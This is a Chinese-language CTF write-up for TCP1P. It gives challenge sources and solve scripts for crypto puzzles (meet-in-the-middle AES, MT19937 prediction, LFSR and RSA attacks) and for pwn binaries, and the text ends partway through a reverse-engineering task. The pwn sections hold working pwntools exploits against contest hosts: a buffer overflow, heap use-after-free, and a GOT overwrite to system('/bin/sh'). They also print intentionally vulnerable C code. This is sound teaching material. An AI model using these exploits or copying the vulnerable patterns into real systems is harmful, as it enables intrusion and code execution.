Crypto
Final Consensus
这是个AES爆破密钥的题,加密方法是先后用两个密钥加密。远程先给出加密后的flag,然后允许输入值并进行加密。
from Crypto.Cipher import AES
import random
from Crypto.Util.Padding import pad
a = b""
b = b""
FLAG = b"TCP1P{REDACTED}"
def generateKey():
global a, b
a = (str(random.randint(0, 999999)).zfill(6)*4)[:16].encode()
b = (str(random.randint(0, 999999)).zfill(6)*4)[:16].encode()
def encrypt(plaintext, a, b):
cipher = AES.new(a, mode=AES.MODE_ECB)
ct = cipher.encrypt(pad(plaintext, 16))
cipher = AES.new(b, mode=AES.MODE_ECB)
ct = cipher.encrypt(ct)
return ct.hex()
def main():
generateKey()
print("Alice: My message", encrypt(FLAG, a, b))
print("Alice: Now give me yours!")
plain = input(">> ")
print("Steve: ", encrypt(plain.encode(), a, b))
print("Alice: Agree.")
if __name__ == '__main__':
main()
漏洞在于两个密钥都很小。不过同时爆破两个也不可能。所以用到中间人攻击。先用爆破密钥a生成字典,再反向爆破b在a的字典里查询。
'''
┌──(kali㉿kali)-[~/ctf/lx/ezfmt]
└─$ nc ctf.tcp1p.com 35257
Alice: My message ad39b5f6d4071def39e5586024b4da6c82742ab83bcb772ddb39ffddaa5715e9d91982a06c343c9abb7350a30f54779e42e58d2d24de74e6c0e55329212c108427a1442d495a70647c92fed28c4f133c
Alice: Now give me yours!
>> 0000000000000000
Steve: d170d66ff056f53944010a9b10e34b0585d521591b779f7cee054eae530682ff
Alice: Agree.
'''
from Crypto.Cipher import AES
import random
from Crypto.Util.Padding import pad
def encrypt(plaintext, a, b):
cipher = AES.new(a, mode=AES.MODE_ECB)
ct = cipher.encrypt(pad(plaintext, 16))
cipher = AES.new(b, mode=AES.MODE_ECB)
ct = cipher.encrypt(ct)
return ct.hex()
c = 'd170d66ff056f53944010a9b10e34b0585d521591b779f7cee054eae530682ff'[:32]
cs = {}
for a in range(1000000):
a = (str(a).zfill(6)*4)[:16].encode()
c1 = AES.new(a, mode=AES.MODE_ECB)
cs[c1.encrypt(b'0'*16)] = a
print(len(cs))
for b in range(1000000):
b = (str(b).zfill(6)*4)[:16].encode()
c2 = AES.new(b, mode=AES.MODE_ECB)
ct2 = c2.decrypt(bytes.fromhex(c))
if ct2 in cs:
print(cs[ct2],b)
a,b = b'7447427447427447', b'4402124402124402'
ct = bytes.fromhex('ad39b5f6d4071def39e5586024b4da6c82742ab83bcb772ddb39ffddaa5715e9d91982a06c343c9abb7350a30f54779e42e58d2d24de74e6c0e55329212c108427a1442d495a70647c92fed28c4f133c')
def decrypt(plaintext, a, b):
cipher = AES.new(b, mode=AES.MODE_ECB)
ct = cipher.decrypt(pad(plaintext, 16))
cipher = AES.new(a, mode=AES.MODE_ECB)
ct = cipher.decrypt(ct)
print(ct)
decrypt(ct,a,b)
#TCP1P{nothing_ever_lasts_forever_everybody_wants_to_rule_the_world}
One Pad Time
第2个AES题,用随机生成的key和iv加密flag,然后将ct与key异或。最后给出iv和异或后的ct
import os
from pwn import xor
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
key = os.urandom(16)
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = open("flag.txt", "rb").read()
ct = pad(cipher.encrypt(pt), 16)
ct = xor(ct, key)
print(f"{iv = }")
print(f"{ct = }")
这个漏洞在于pad,这个pad不是在加密前而是在加密后,当flag的长度恰好是16的倍数里最后一块会是:chr(16)*16,可以利用这个块异或密文可以得到key,从而进行解密
iv = b'\xf5\x8e\x85ye\xc8j(%\xc4K\xc1g#\x86\x1a'
ct = b'h\x08\xafmDV\xaa\xcd\xea\xe9C\xdd7/\x1fF\xe2?\xcb\xb0\x1d F\xcc\xe5\xa6\x9dTJ\\\xd1\x90\xac\xe0\x1c\x891}\x83*\x86\xee\xc4~\xa0\x18\xa8\x06\xea"{|\x0b\x92[\x9a[\x91\xc8\x19\xb7FK\x01\xb5\xf98\x80\x9bR)2\x84`\xb3E\t\xd5\xe5\xf0[\x83\xc6\x19\x82\r\x7f\xfaGF\xdb\xcb\xab\xd5~\x95\t\xdd\xb5E>F\xdd\xa9\xa6\x82\x86\xee"\x99\xd9\xcc\xaf\xce\xf0\'\xb3\xf4~\xcf\xdb\xc8\xbd3\x01\xd0,}]\xd5V\xd3?\xb0\xe7\xb4[4\x8a\xa2[\xa1TV\xd16\x1f\xbd"\xc8\xa2\\K\x16I%\xdaL\xc6\xfb\xb7f.\x98\xc3\xf4J\x1b\xe9TT\x83-\x98BO\xb4\x00~\xb5w\xcf7m\xa1\xea\xa9\xf6\xa6\xee\x00Y\xdfE\x9c7\xe3\xa3\xa2\x1f=.\x85\x08l\xacN\xfb2\x89\x8bB\x7f\x94\x91p\x10ep\x9b\x06oz\x87&U]J\x019\x12W\xce<\xc8\xa8\xb4v\xaf,\xb1n\x8b\xf5\xfe\xf8\r\xa7:r\xe8\xe0fvKN\\\xea\xe0\xa1\xe3\x99\xcc\xfd\x1a\x99Q\x90\xdf}\xae\xad'
#ct为16的整数倍,pad(16) 尾部为\x10*16
tail = ct[-16:]
key = xor(tail, b'\x10')
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = cipher.decrypt(xor(ct,key))
#TCP1P{why_did_the_chicken_cross_the_road?To_ponder_the_meaning_of_life_on_the_other_side_only_to_realize_that_the_road_itself_was_an_arbitrary_construct_with_no_inherent_purpose_and_that_true_enlightenment_could_only_be_found_within_its_own_existence_1234}
Spider Shambles
这是个有python随机数预测题。远端有两个route,一个是把上传的文件与随机数异或,另一个是把flag图片与随机数异或。
import os
from flask import Flask, flash, request, redirect, render_template, send_file
import io
import random
from Crypto.Util.number import long_to_bytes as l2b
app=Flask(__name__, template_folder='./template')
app.secret_key = "OFCOURSETHISISNOTHEREALSECRETKEYBOI"
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024
ALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'])
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def xor(a, b):
return b''.join([bytes([_a ^ _b]) for _a, _b in zip(a, b)])
def encropt(buff):
rand = random.getrandbits(len(buff)*8)
return xor(buff, l2b(rand))
@app.route('/', methods=['GET'])
def upload_form():
return render_template('./upload.html')
@app.route('/', methods=['POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
flash('No file selected for uploading')
return redirect(request.url)
if file and allowed_file(file.filename):
buff = io.BytesIO()
buff.write(encropt(file.read()))
buff.seek(0)
return send_file(
buff,
mimetype="text/plain",
as_attachment=True,
download_name='lalalalululu')
else:
flash('Allowed file types are txt, pdf, png, jpg, jpeg, gif')
return redirect(request.url)
@app.route('/flago', methods=['GET'])
def send_flago():
flago = open('./flago/flago.jpg', 'rb')
buff = io.BytesIO()
buff.write(encropt(flago.read()))
buff.seek(0)
return send_file(
buff,
mimetype="text/plain",
as_attachment=True,
download_name='babababububu')
if __name__ == "__main__":
app.run(host = '0.0.0.0',port = 5000, debug = False)
两次只要相邻就可以,先生成个足够长的文件。624*32位,然后下载文件,用第1个文件生成取出随机数完成对第2个flag文件的恢复
#open('a.txt','wb').write(b'\x00'*624*4)
from pwn import xor
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from extend_mt19937_predictor import ExtendMT19937Predictor
a = open('lalalalululu','rb').read()
c = open('babababububu','rb').read()
predictor = ExtendMT19937Predictor()
#导入已知的624个数据,导入后指向尾部
predictor.setrandbits(b2l(a), 624*32)
def encropt(buff):
rand = predictor.predict_getrandbits(len(buff)*8)
return xor(buff, l2b(rand))
m = encropt(c)
open('flago.jpg', 'wb').write(m)
#TCP1P{life's_twisted_like_a_back_road_in_the_country}
shiftgner
一个LFSR的题,有点变化。
有生成签名,验证签名和得到加密后的flag
import os
flag = open('flag.txt','r').read()
assert flag.startswith('TCP1P{') and flag.endswith('}')
flag = flag[6:-1]
assert len(flag) == 32
class Shiftgner:
def __init__(self, mask):
self.mask = int.from_bytes(mask, byteorder='big')
def next(self):
c = self.state & self.mask
x = 0
while c:
x ^= c & 1
c >>= 1
self.state = ((self.state << 1) ^ x) & 2**256-1
return x
def sign(self, msg):
self.state = msg
op = self.next()
for i in range(255):
op <<= 1
op ^= self.next()
op ^= msg
return hex(op)
def verify(self, msg, sig):
return self.sign(msg) == sig
mask = os.urandom(32)
signer = Shiftgner(mask)
while True:
print('1. Sign')
print('2. Verify')
print('3. Get Flag')
print('4. Exit')
op = int(input('> '))
if op == 1:
msg = int(input('Message (hex): '), 16)
print('Signature:', signer.sign(msg))
elif op == 2:
msg = int(input('Message (hex): '), 16)
sig = input('Signature: ')
if signer.verify(msg, sig):
print('OK')
else:
print('Invalid')
elif op == 3:
print(signer.sign(int.from_bytes(flag.encode(), byteorder='big')))
elif op == 4:
exit()
else:
print('Invalid')
由于lfsr没有给mask所以要先爆破mask
当输入一个只有第n的值时与mask异或,如果mask第n位为0则第1次next后结果为1,经过256次next后他移到第0位,所以通过判断第0位可以得到1位的mask
class Shiftgner:
def __init__(self, mask):
self.mask = int.from_bytes(mask, byteorder='big')
def next(self):
c = self.state & self.mask
x = 0
while c:
x ^= c & 1
c >>= 1
self.state = ((self.state << 1) ^ x) & 2**256-1
return x
def sign(self, msg):
self.state = msg
op = self.next()
for i in range(255):
op <<= 1
op ^= self.next()
op ^= msg
return hex(op)
def verify(self, msg, sig):
return self.sign(msg) == sig
def get_mask(idx):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Message (hex): ', hex(1<<idx)[2:].encode())
p.recvuntil(b'Signature:')
c = int(p.recvline(),16)
bit = (c>>255)&1
return bit
def check_mask(msg,sig):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Message (hex): ', hex(msg)[2:].encode())
p.sendlineafter(b'Signature: ', sig.encode())
if b'OK' in p.recvline():
return True
else:
return False
#爆破mask
from pwn import *
from Crypto.Util.number import long_to_bytes,bytes_to_long
p = remote('ctf.tcp1p.com', 13342)
tmp_msg = 0x309c0b52a8b9120c17caea49009ade08bb656dcc1f7fc8ef0f8360e85b573fa6
p.sendlineafter(b'> ', b'3')
print(p.recvline())
smask = ''
for i in range(256):
if get_mask(i):
smask += '1'
else:
smask += '0'
if i>253:
context.log_level = 'debug'
mask = long_to_bytes(int(smask[::-1],2))
signer = Shiftgner(mask)
tmp_enc = signer.sign(tmp_msg)
if check_mask(tmp_msg, tmp_enc):
break
print(mask)
p.interactive()
然后得到密文进行处理。根据LFRS构造简单的矩阵M,乘256次幂
问题来了,他给的不是直接得到的密文,是密文与明文异或的结果
state * M^256 = enc^^state
由于按位的异或在GF(2)上等同于加所以这里可以推一下,然后就可以用矩阵求左了。
state*M^256 = enc + state => sate*M^256 + state = enc => state *(M^256+I) = enc
from Crypto.Util.number import bytes_to_long, long_to_bytes
mask = b'\x02,#Vl\xad\xc6\xa0\xe1r\xb6\xf5\xe1\xc0<\x11\x86]\xb4N\xcd\xf4\xb9\xcf\xddW{,i\xa1-2'
enc = 0xa5c0ce349da06456bea1d6cd58ae29fe497898dcc4c18a0960a4e0c2597abcf3
#state * M^256 = c ; c = enc ^^ state
#state * M^256 = enc + state => state*(M^256+I) = enc
maskb = [int(i) for i in bin(bytes_to_long(mask))[2:].rjust(256, '0')]
encb = [int(i) for i in bin(enc)[2:].rjust(256, '0')]
encv = vector(GF(2), encb)
M = matrix(GF(2), 256,256)
for i in range(255):
M[i+1,i] = 1
for i in range(256):
M[i,-1] = maskb[i]
M256 = M^256
for i in range(256):
M256[i,i] += 1
state = M256.solve_left(encb)
ss = ''.join([str(i) for i in state])
long_to_bytes(int(ss,2))
#b'well_not_safe_enough_apparently!'
Eclairs
这是个小指数攻击题
route1给出pow(a,e,n),pow(b,e,n)并可以输入x得到椭圆曲线上的点P
route2给出随机数k和随机点P,需要输入k*P然后可以得到RSA加密后的flag
from Crypto.Util.number import getPrime, bytes_to_long
from sympy.ntheory.modular import crt
from libnum.ecc import *
import random
import time
while (p:=getPrime(256)) % 4 != 3: pass
while (q:=getPrime(256)) % 4 != 3: pass
e = 3
n = p*q
a = getPrime(256)
b = getPrime(256)
E = Curve(a, b, n)
flag = bytes_to_long(open("flag.txt", "rb").read())
def sqrt_mod(a):
assert p % 4 == 3
assert q % 4 == 3
r = int(crt([p,q],[pow(a,(p+1)//4,p), pow(a,(q+1)//4,q)])[0])
n = p*q
if pow(r,2,n) == a % n:
return r
return False
def lift_x(x):
y = sqrt_mod(x**3 + a*x + b)
if y:
return (x, y)
return False
def find_coordinates(x):
P = lift_x(x)
if P:
x,y = P
return (pow(x,e,n), pow(y,e,n))
return False
def captcha():
while True:
x = random.randint(1, n)
P = lift_x(x)
if P : break
k = random.randint(1,n)
print("HOLD UP!!!!")
print("YOU ARE ABOUT TO DO SOMETHING VERY CONFIDENTIAL")
print("WE NEED TO MAKE SURE THAT YOU ARE NOT A ROBOT")
print(f"Calculate {k} X {P}")
ans = input("Answer: ")
return ans == str(E.power(P,k))
while True:
print("1. Check out my cool curve")
print("2. Get flag")
print("3. Exit")
choice = input(">> ")
if choice == "1":
print("This point is generated using the following parameter:")
# encrypted because I don't want anyone to steal my cool curve >:(
print(pow(a,e,n))
print(pow(b,e,n))
x = int(input("x: "))
P = find_coordinates(x)
if P:
print(P)
else:
print("Not found :(")
elif choice == "2":
if captcha():
print(pow(flag, e, n))
else:
print("GO AWAY!!!")
exit()
elif choice == "3":
exit()
else:
print("??")
exit()
第1步是得到几个点,通过多点通过groebner基求参,然后得到kP拿到pow(flag,e,n)
from pwn import *
#from sage.all import *
from Crypto.Util.number import getPrime
io = remote('ctf.tcp1p.com', 13341)
context.log_level = 'debug'
while True:
io.sendlineafter(b">> ", b'1')
io.recvline()
a3 = int(io.recvline())
b3 = int(io.recvline())
x = getPrime(172)
io.sendlineafter(b"x: ", str(x).encode())
p1 = io.recvline()
if b'Not found' not in p1:
break
x3,y3 = eval(p1)
io.sendlineafter(b">> ", b'2')
io.recvuntil(b"Calculate ")
ks,ps = io.recvline().decode().split(' X ')
k,ps = int(ks), eval(ps)
print('a3 = ', a3)
print('b3 = ', b3)
print('x = ', x)
print('x3 = ', x3)
print('y3 = ', y3)
print('k = ', ks)
print('ps = ', ps)
print('''
P.<a,b> = PolynomialRing(Zmod(x^3 - x3))
f1 = y3**2 - (x**3 + a*x + b)**3
f2 = a**3 - a3
f3 = b**3 - b3
F = [f1,f2,f3]
ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)
# 求解参数a b n
res=[x.constant_coefficient() for x in I]
n = res[2]
a = -res[0]%n
b = -res[1]%n
E=EllipticCurve(Zmod(n),[a,b])
P = E(ps)
vv = str((k*P).xy())
print(vv)
''')
vv = input('>> ')
io.sendlineafter(b"Answer: ", vv.encode())
print(io.recvline())
io.interactive()
但是由于这里的n不能分解而且每个因子都是e的倍数,所以不能直接求d求解。
所以这里需要运行3次得到3组c,n然后通过crt再求解
f3 = [10214848419600246831204411547539742193707813055567247375021038647290724315016659616660536702996500513761107565676235103712959560533312159280239704791794925,3396605071922311846139395452288997433024781942346189910790944052301893968430215014289904153958067122829261905886478214418519271429601284233135621257964618,761237673974641516291589885468522351425564157626437289615389611558679935803922321917991872667343987358442284415608440848211692141410743644819475163258241]
n = [10827306454907668600102942320713698127633782031630218229451809487758431009675084908799293132704868105802645330911405420947841753386681060626958945819983153,5640375403375610044579756340430504833924414898126539274638537893039893254750588837263470550538549615353665314709455243822275945022123811639017611583317777,9581444265394380026197526005575551873068579451790843486976927778420460013670858606351862661812095383739259531098874637083082471478987773885695409384957361]
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes
long_to_bytes(iroot(crt(f3,n),3)[0])
#b'TCP1P{yet_another_ecrsa_challenge_smh_my_head}'
CherryLeak
一共3个菜单,
1是更换因子可以选择更换p或q,
2是pow(p+q,e,n)或p-q或pow(p//q,e,n)或p%q
3得到pow(flag,e,n)
from Crypto.Util.number import getPrime, bytes_to_long
p = getPrime(1024)
q = getPrime(512)
n = p * q
e = 65537
FLAG = b"TCP1P{???????????????????????????????????????}"
lock = False
while True:
print("1. Get new prime")
print("2. Get leak")
print("3. Get flag")
print("4. Exit")
print("> ", end="")
try:
choice = int(input())
except:
break
if choice == 1:
if lock:
print("You can't do that anymore!")
continue
print("which prime? (p/q)")
print("> ", end="")
prime = input()
if prime == "p":
p = getPrime(1024)
elif prime == "q":
q = getPrime(512)
else:
print("What?")
continue
n = p * q
lock = True
elif choice == 2:
print("choose leak p ? q (+-*/%)")
print("> ", end="")
leak = input()
if leak == "+":
print(f"p + q = {pow(p + q, e, n)}") # nuh uh
elif leak == "-":
print(f"{p - q = }")
elif leak == "*":
print(f"p * q = {pow(p * q, e, n)}") # nuh uh
elif leak == "/":
print(f"p // q = {pow(p // q, e, n)}") # nuh uh
elif leak == "%":
print(f"{p % q = }")
else:
print("What?")
elif choice == 3:
print(f"c = {pow(bytes_to_long(FLAG), e, n)}")
lock = True
elif choice == 4:
break
else:
print("What?")
这里没有给n所以pow的项基本都没用只有p-q和p%q有用。通过两次更换p得到两组p-q,p%q
p1-q = a1;p2-q=a2; p1%q = b1; p2%q = b2
p1%q = b1 => (a1+q)%q = b1 => a1 - b1 = k1*q
同理 a2-b2 = k2*q所以有 gcd(a1-b1,a2-b2) == q
然后猜flag很小不够512位,直接用q求解。当然这时候如果大的话就用p-q得到p再用n求解
a1 = 118706088974227518157101680027186674666863052281725325927297274164964302139731337841107407768851841545449624689187205116287815171368370612682872627416560148527259214298108640666822887975035465398738029963994364413364943599455933922801313625121544409844530893995801596056172346904433206927995247016759064476398
a2 = 100351615317445702152777964069743649398316212344162267495671594615569055290986135868626263523806430759891170534637574207955408234730596945183415870186173043369109401951133898271038937899799483714916470998534146162842383074553370989509167955524749120524690247454745041141487860434030140627355547358367468053348
b1 = 4314795467650780507560916399060478760618314523719619015061803791641365559151910235009915855099750842779686623768320324592460652847539030204752241436322958
b2 = 4791644667072068328755322354434990455138080676548441050438770559180497990442392529487882111217227208028008732173855940070706695343457703400581487284992319
'''
p1-q = a1;p2-q=a2; p1%q = b1; p2%q = b2
p1%q = b1 => (a1+q)%q = b1 => a1 - b1 = k1*q
同理 a2-b2 = k2*q
'''
q = gcd(a1-b1, a2-b2)
c = 169440822506346087750225114526740311477268001776493344763509930657373781878796338949268854077207461627691471962438795049472698199268203515665176148463051816183812000048162656457151448248775507398267111109027802942220858089591755527835080399986885463364652988782541810022030642988075275702530345128326508123508315731510268333168893081158203576004922211336014214517310663167783741576232446051470012829653525376038196226299471633664465371322016508015683415653380689
e = 65537
m = pow(c, invert(e, q-1),q)
long_to_bytes(m)
#b"TCP1P{in_life's_abundance_a_fragment_suffices}"
PWN
babyheap
在free的时候没有清指针,有UAF,当get_flag时会重用这些堆块,然后通过show得到flag
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
while ( 1 )
{
switch ( (unsigned int)menu() )
{
case 1u:
create();
break;
case 2u:
delete(); // UAF
break;
case 3u:
view();
break;
case 4u:
read_flag();
break;
case 5u:
puts("[*] exiting...");
exit(0);
default:
puts("[!] unknown choice");
break;
}
}
}
add 1-5 112
free 1-5
read_flag
show 1
TCP1P{k4mu_m4kan_ap4_1ni_k0q_un1qu3_s3k4li_yh_k4kung_chef_0ma1good_r3cyle???}
BlufferOverflow
这题给了原码
#include <stdio.h>
#include <stdlib.h>
char buff[20];
int buff2;
void setup(){
setvbuf(stdin, buff, _IONBF, 0);
setvbuf(stdout, buff, _IONBF, 0);
setvbuf(stderr, buff, _IONBF, 0);
}
void flag_handler(){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Cannot find flag.txt!");
exit(0);
}
}
void buffer(){
buff2 = 0;
printf("Can you get the exact value to print the flag?\n");
printf("Input: ");
fflush(stdout);
gets(buff);
if (buff2 > 5134160) {
printf("Too high!\n\n");
} else if (buff2 == 5134160){
printf("Congrats, You got the right value!\n");
system("cat flag.txt");
} else {
printf("Sad, too low! :(, maybe you can add *more* value 0_0\n\n");
}
printf("\nOutput : %s, Value : %d \n", buff, buff2);
}
int main(){
flag_handler();
setup();
buffer();
}
输入buff时覆盖到buff2得到flag
from pwn import *
#p = process('./pwn1')
p = remote('ctf.tcp1p.com', 17027)
context(arch='amd64', log_level='debug')
p.sendlineafter(b"Input: ", b'A'*20 + p32(5134160))
p.interactive()
#TCP1P{ez_buff3r_0verflow_l0c4l_v4r1abl3_38763f0c86da16fe14e062cd054d71ca}
unsafe safe
允许在输入一个地址然后给这个地址加一个值
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
unsigned long safes[100] = {7955998170729676800};
char *exit_message = "Have a nice day!";
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void deposit() {
int index = 0;
int amount = 0;
puts("Enter the safe number you want to deposit in (0-100): ");
scanf("%d", &index);
puts("Enter the amount you want to deposit: ");
scanf("%d", &amount);
safes[index] += amount;
}
void login() {
unsigned long age, input, password;
char pet_name[5] = "\0\0\0\0\0";
puts("Input your age: ");
scanf("%lu", &age);
if (age < 17) {
puts("Sorry, this is not a place for kids");
exit(0);
}
puts("Input your pet name: ");
scanf("%5c", pet_name);
srand(time(NULL) * (*(short *)pet_name * *(short *)(pet_name + 2) + age));
password = rand();
puts("Input your password: ");
scanf("%lu", &input);
if (input != password) {
puts("Password Wrong!");
exit(0);
}
}
int main() {
init();
login();
deposit();
deposit();
deposit();
puts(exit_message);
}
由于种子是0可以得到password然后将got[exit]改为system把msg改为/bin/sh
from pwn import *
#p = process('./unsafe')
p = remote('ctf.tcp1p.com', 1477)
context(arch='amd64', log_level='debug')
#gdb.attach(p, "b*0x00005555555552bc\nc")
# -17*1 + 17
p.sendlineafter(b"Input your age: ", b'246')
p.sendafter(b"Input your pet name: ", p64(0x1ff)[:4])
p.sendlineafter(b"Input your password: ", str(0x6b8b4567).encode())
#2 safe+8 /sh
#100 exit_message: 2008->4064
#-24 got.puts 6b00->d920
p.sendlineafter(b"Enter the safe number you want to deposit in (0-100): ", b'1')
p.sendlineafter(b"Enter the amount you want to deposit: \n", str(u32(b'/sh\x00')).encode())
p.sendlineafter(b"Enter the safe number you want to deposit in (0-100): ", b'100')
p.sendlineafter(b"Enter the amount you want to deposit: \n", str(0x205c).encode())
p.sendlineafter(b"Enter the safe number you want to deposit in (0-100): ", b'-12')
p.sendlineafter(b"Enter the amount you want to deposit: \n", str(-168416).encode())
p.sendline(b'cat flag*')
p.interactive()
REV
lock the lock
是一个可以正常反编译的python pyc文件,反过来就是个xor加密
a = '1101111100001010100101011100011010111000101110011010110011100111001101000000000000000000010000000011101100011110110101000110100001100011111110010010000000001111010001101010111011000011010001110110101101001011011011011101100111001111101001010010011001001101010111011100011110001100010100000100010110000110011100011001101000100101111000111000001101001011011110001111100110001101101111100100110011011001011111000001111100011100100110111000101000001110100000111010011110111101011011101100001011110111000011111111101001110110100100011111110011010110110110101010000001000011111010101111111111011001110110100110001011100100100000110010100000000111111111100010111101000011010010111100011100001010100101010010001100011111010110111111110101001010101011000110011010010110000001001110111100000110001010000010101001110000010000011101101111111000010011111000100001010010010111101010011100000100011101111010100010000010001011100010000000001110100111001101011001110100010000111010011000011010001001010000101100000100000101100110010100111001011111101110001110011010000011001100001110001100111010001001111110000111100011010001100100110111101111111000000111111111001010011010110000111001011010101101001101100110000101000111111011001110100110000011110101101001000001000110100000111001000111110010111110101000011110011000010011011111110101110101111000110110001011111111110101000110101000001110001111111100001000101000100100011110010101011010011110000011101010110011010011010000001111101100100100101001101110111100110111101010111010010100001011101101011111110001001010011001110000100011100100111000110011010110010010011010110010101000110101001110101010100101110111001101110110000000001101101000111000011000010000110100001001101111100111001001010100001011100101001100101110000111001010010100000110001110000011011100101001100101010011111110100010111100000101000110110010101010100000100110010111011101011011011001110111010001001100110110000011010010010000111110000110110010101100100010100110001010010000100001011001011001101010100100001001111110001101000010111101000010110000001010001101011111101100100111001000101110101100100001010101110100000110011110010011011000011001100111110011010100110100010001110101111000110101000111100100111100001000100001110001001000111000111001000111100010011101001010010101110100101111001100110000110100101100010000000101000101000111010111000101011001101010001101111010011111011110000111110001110011010010010111100010000110100100011010111000001011000111111111010010110111011000100110100110011111111000111000110011000101000110110001100000000001110000000110111101000011010010011001111010101001110110011100110111010110011101011101000011000000101000010011011111101001000011110110100000100111111000000010010110011011101110110101011100001010100011101101001101101100001000011110001010110001010001101100110101001001101011000000100011010100101110110111111110000000101101001010100001011001011010010000110010110111011000100011110010101000011110001111000101101010001101110101101011011111110100000001010000111100001111101111000111100011101010101010100101011100101001110010111000011010001010010101000110011000100111001001000000111110110111111101000000100111111101001110100110001110001011111011001101001011000111101000000000000101010110100000111100010111110011110011011000001011110010010000001001101101001111010000001010111111110101001000111000010111111001100110000000110111101000011001101111011110011110000001101001101000011100111001000101000110011101011000010110110110001101011000010011100001000111111110011000001000010111101000100010011001011110111011101100101000011101100011011010101000010110001001000100001110100110011101011011011011011101010010110110000011111001111100101100001110100000111011010111000110110011011110101110111011100110011001000111111111010001111100100101011111011010001101111110100110011000100110001001011111000111000011000000000111101011001010000110011101011100101101110110010001010001111100110100000111111111110111010100100000000101100011101111100001001010111000001001011011010001101010100100110100111011100101010010101001000100111001110110110101011000011011011110001111111000101010010111101101100010100110110111010010110000110100011000001100001000100011100110010100101101101000010001100101101100000001011011011101110110011000100001110010011000001101100001001010101101100000111101110000101101110110100010111101010111001001001010100100011101000010111111100101011111100101110111100001000001110101001101000000111101111100110011010100011100111111111000001110100111000001101001111111100001100000011111100110000110011011011111010111101010110111001100010010111010110010001010100001100010000000111101010100111111100100101000000110100100110001100101111001011001011111101011011100011111011000001001100110000111010110000100000000011001001000110010010110101111100001100011101101111110001010001010010100010100100110100000101111101010100101101101111011111111010000010101111011001100100110101100001101101110001001001010001010001000011110110101101111001000011110111101111100011001010010111100001111000100001101010000010001100000110000000001001001110011110111010001101000011011100101101000011001111001100100100110000011110100001111001011100111110000000110000000101110101011101010010111011000011011111000110000011010110111000001100001001011011011010100111101110101000001100000101111010001111100010000011100100100011101111110000000000010011101000000011010001100001100011011101100011001011110001111101000000100100100110001010001110001110011101000011010000000101000110110010011101001001010110111001110001101000011110100110101111001010001111011101111011111101011100001101100110111101110001001100000101111001010001100100100000100001100110010001111101011000010101001110001100011010101001000010010110001111001011101101011000010001111101001001101100110010101101100101001011100000000110000111001100100111110000010101011001101010101010100011110100111110101000110100110000110111010010111001001100010011001010010000011000010010011000101000010100000110011010010101000110011010001010101101110001010010101100001010101111001101111101110001101100101001011000000111011000000010001110100111110111101110111100101110110100110000011100100100011011001000110010010000010010111001010111000001010001011000111001100010101101000100000101000110111001000100110100101100011101010000010011101101001101010100010011011010000111100101010101001101010111010000101011001010100010110011111100101000000000001001111011101100111001001100001111001000000111001011000110001000111001010110101100000111000001100101010001100001010000011110011011001100010010110011011000011011101001101110110010111001010011011001000110011100010100111011001101010100111101111111001010010010100100000110001101011110011011101001001111100011111001100111101101100001000101100100101110010101101101001001000011001100011101110000110010101001111110011010010111010001110100101001110011110100011010111001111010010110100001011110110001100001100100010000111101000001101101000100110110110001001110011010100110110111001111101101111100110000011111110010000101001110111101011000001110100101101001011111100111110001110111110001000110100101000001110000001101100000100001000101010010000010100010100000110011100000111101111101100111100011110100111101011001011101110111111111011110000100000110001110011000010001001010011111010001000111111100101101001111100011011000010001101001010000111111000011101110000001000011110010000010110101001000001001111111011010110101100001100110010100000001010111100100001110100110110101111011000111011101000000110110110100100000110000101101111000101110101110100010001001100110010000011000100001111000111100000011110110001000111011110001100110000110111101011111101110110000111101110010000100011101010011101111001000011101101011110100000011001111000011010001111110100100110011111111111011000110101100111101101111000011001110100000111111000011101100111110001111010101001000111101100000101011000110111100100110000011100011111010100110101110001110100011101111011000000110101111000111000001110100100000001110000001010010101110111111010011110000100001010000000111111001111000000001111110000110011101000101110101101000111100110001010000101100011010100101100110101010001100111001011000100101101110010100011111110100100111100011100110000101100011111110100101110101100101100101000010001100010'
FLAG = [90, 19, 95, 37, 58, 144, 131, 222, 253, 162, 107, 96, 98, 128, 30,
113, 192, 236, 135, 239, 80, 106, 215, 100, 110, 197, 64,
210, 9, 74, 180, 240, 70, 87, 127, 17, 53, 115, 106, 178,
9, 250, 235, 99, 89, 195, 146, 89, 217, 74, 10, 133, 14,
82, 27, 70, 77, 111, 232, 144, 201, 98, 178, 88, 201, 190,
34, 135, 62, 24, 236, 102, 197, 158, 19, 0, 228, 252, 32,
128, 109, 157, 209, 104, 65, 104, 70, 49, 255, 14, 79, 133,
95, 195, 233, 45, 122, 200, 56, 207, 207, 225, 98, 23, 130,
91, 77, 37, 31, 242, 114, 187, 142, 40, 217, 238, 94, 83,
44, 191, 121, 249, 30, 241, 94, 121, 55, 243, 197, 136, 254,
1, 65, 103, 71, 140, 94, 71, 91, 17, 254, 150, 102, 138,
195, 144, 134, 196, 35, 233, 36, 158, 72, 5, 145, 132, 116,
214, 129, 14, 199, 129, 137, 113, 12, 41, 25, 187, 211, 144,
58, 244, 230, 132, 226, 4, 10, 62, 251, 107, 222, 243, 39,
137, 77, 210, 195, 23, 223, 215, 106, 219, 143, 44, 8, 122,
137, 138, 91, 245, 75, 73, 93, 91, 197, 27, 82, 14, 106,
198, 245, 48, 185, 245, 147, 74, 98, 150, 70, 132, 186, 32,
10, 237, 21, 185, 32, 142, 64, 107, 126, 89, 128, 237, 24,
44, 6, 6, 40, 171, 20, 228, 138, 5, 217, 231, 18, 248, 171,
